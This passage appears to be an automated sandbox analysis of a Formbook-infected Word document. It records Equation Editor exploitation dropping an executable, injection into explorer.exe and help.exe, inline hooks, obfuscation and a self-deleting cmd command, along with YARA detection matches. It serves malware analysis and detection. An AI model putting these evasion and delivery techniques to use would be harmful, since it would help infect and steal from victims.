Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0092351F 5_2_0092351F
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00966540 5_2_00966540
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00924680 5_2_00924680
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0092E6C1 5_2_0092E6C1
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0096A634 5_2_0096A634
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009C2622 5_2_009C2622
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009A579A 5_2_009A579A
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0092C7BC 5_2_0092C7BC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009557C3 5_2_009557C3
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0099F8C4 5_2_0099F8C4
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009BF8EE 5_2_009BF8EE
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0092C85C 5_2_0092C85C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0094286D 5_2_0094286D
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009C098E 5_2_009C098E
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009229B2 5_2_009229B2
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009369FE 5_2_009369FE
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009A5955 5_2_009A5955
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009A394B 5_2_009A394B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009D3A83 5_2_009D3A83
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009CCBA4 5_2_009CCBA4
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009ADBDA 5_2_009ADBDA
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091FBD7 5_2_0091FBD7
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00947B00 5_2_00947B00
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009BFDDD 5_2_009BFDDD
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00950D3B 5_2_00950D3B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0092CD5B 5_2_0092CD5B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00952E2F 5_2_00952E2F
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0093EE4C 5_2_0093EE4C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009BCFB1 5_2_009BCFB1
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00992FDC 5_2_00992FDC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00930F3F 5_2_00930F3F
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0094DF7C 5_2_0094DF7C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00289882 5_2_00289882
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00281069 5_2_00281069
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00281072 5_2_00281072
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00288152 5_2_00288152
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0028DA0C 5_2_0028DA0C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0028AA52 5_2_0028AA52
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00285B22 5_2_00285B22
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00285B1F 5_2_00285B1F
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00282CE9 5_2_00282CE9
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00282CF2 5_2_00282CF2
Source: C:\Windows\explorer.exe Code function: 6_2_02975A52 6_2_02975A52
Source: C:\Windows\explorer.exe Code function: 6_2_02974882 6_2_02974882
Source: C:\Windows\explorer.exe Code function: 6_2_0296DCF2 6_2_0296DCF2
Source: C:\Windows\explorer.exe Code function: 6_2_0296DCE9 6_2_0296DCE9
Source: C:\Windows\explorer.exe Code function: 6_2_02978A0C 6_2_02978A0C
Source: C:\Windows\explorer.exe Code function: 6_2_0296C072 6_2_0296C072
Source: C:\Windows\explorer.exe Code function: 6_2_0296C069 6_2_0296C069
Source: C:\Windows\explorer.exe Code function: 6_2_02970B1F 6_2_02970B1F
Source: C:\Windows\explorer.exe Code function: 6_2_02970B22 6_2_02970B22
Source: C:\Windows\explorer.exe Code function: 6_2_02973152 6_2_02973152
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0E0C6 7_2_00A0E0C6
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A3D005 7_2_00A3D005
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A13040 7_2_00A13040
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A2905A 7_2_00A2905A
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0E2E9 7_2_00A0E2E9
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AB1238 7_2_00AB1238
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AB63BF 7_2_00AB63BF
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0F3CF 7_2_00A0F3CF
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A363DB 7_2_00A363DB
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A12305 7_2_00A12305
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A5A37B 7_2_00A5A37B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A17353 7_2_00A17353
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A45485 7_2_00A45485
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A21489 7_2_00A21489
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A9443E 7_2_00A9443E
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A4D47D 7_2_00A4D47D
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A2C5F0 7_2_00A2C5F0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A1351F 7_2_00A1351F
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A56540 7_2_00A56540
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A14680 7_2_00A14680
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A1E6C1 7_2_00A1E6C1
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AB2622 7_2_00AB2622
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A5A634 7_2_00A5A634
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A1C7BC 7_2_00A1C7BC
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A9579A 7_2_00A9579A
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A457C3 7_2_00A457C3
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AAF8EE 7_2_00AAF8EE
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A3286D 7_2_00A3286D
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A1C85C 7_2_00A1C85C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A129B2 7_2_00A129B2
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AB098E 7_2_00AB098E
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A269FE 7_2_00A269FE
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A9394B 7_2_00A9394B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A95955 7_2_00A95955
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AC3A83 7_2_00AC3A83
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00ABCBA4 7_2_00ABCBA4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A9DBDA 7_2_00A9DBDA
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0FBD7 7_2_00A0FBD7
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A37B00 7_2_00A37B00
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AAFDDD 7_2_00AAFDDD
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A40D3B 7_2_00A40D3B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A1CD5B 7_2_00A1CD5B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A42E2F 7_2_00A42E2F
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A2EE4C 7_2_00A2EE4C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00AACFB1 7_2_00AACFB1
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A82FDC 7_2_00A82FDC
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A20F3F 7_2_00A20F3F
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A3DF7C 7_2_00A3DF7C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009E195 7_2_0009E195
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00082D90 7_2_00082D90
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00089E3B 7_2_00089E3B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00089E40 7_2_00089E40
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00082FB0 7_2_00082FB0
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012B6EF1 appears 84 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012B9160 appears 64 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012BBFC3 appears 38 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 0091DF5C appears 121 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 00963F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 0091E2A8 appears 38 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012B6F06 appears 36 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012B7021 appears 40 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 0098F970 appears 84 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 0096373B appears 245 times
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: String function: 012B715C appears 370 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 00A0DF5C appears 119 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 00A7F970 appears 84 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 00A53F92 appears 132 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 00A5373B appears 245 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 00A0E2A8 appears 38 times
Yara signature match
Source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: mpomboby8423.exe, 00000004.00000002.2104552065.0000000000B30000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2113776918.0000000003C40000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@10/8@3/2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$Q RATED POWER 2000HP- OTHERSPECIFICATION.docx.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE0AD.tmp Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: Kernel32.dll 4_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: User32.dll 4_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: User32.dll 4_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: IEUCIZEO 4_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: Kernel32.dll 5_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: User32.dll 5_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: User32.dll 5_2_012B1040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Command line argument: IEUCIZEO 5_2_012B1040
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe
Source: unknown Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\mpomboby8423.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\mpomboby8423.exe' Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: RFQ RATED POWER 2000HP- OTHERSPECIFICATION.docx.doc Static file information: File size 1323990 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: mpomboby8423.exe, help.exe
Source: Binary string: help.pdb source: mpomboby8423.exe, 00000005.00000002.2137106093.0000000000534000.00000004.00000020.sdmp

Data Obfuscation:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_012C1B13
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012B91A5 push ecx; ret 4_2_012B91B8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041D0D2 push eax; ret 5_2_0041D0D8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041D0DB push eax; ret 5_2_0041D142
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041D085 push eax; ret 5_2_0041D0D8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041D13C push eax; ret 5_2_0041D142
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_004169EE push edi; retf 5_2_004169F5
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00417CFC push ebx; retf 5_2_00417D04
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041ACB4 push ss; iretd 5_2_0041ACBA
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041E525 pushad ; ret 5_2_0041E52C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012B91A5 push ecx; ret 5_2_012B91B8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091DFA1 push ecx; ret 5_2_0091DFB4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0DFA1 push ecx; ret 7_2_00A0DFB4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009D085 push eax; ret 7_2_0009D0D8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009D0DB push eax; ret 7_2_0009D142
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009D0D2 push eax; ret 7_2_0009D0D8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009D13C push eax; ret 7_2_0009D142
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009E525 pushad ; ret 7_2_0009E52C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_000969EE push edi; retf 7_2_000969F5
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009ACB4 push ss; iretd 7_2_0009ACBA
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00097CFC push ebx; retf 7_2_00097D04

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mpomabiva[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8E 0xEE 0xEE
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
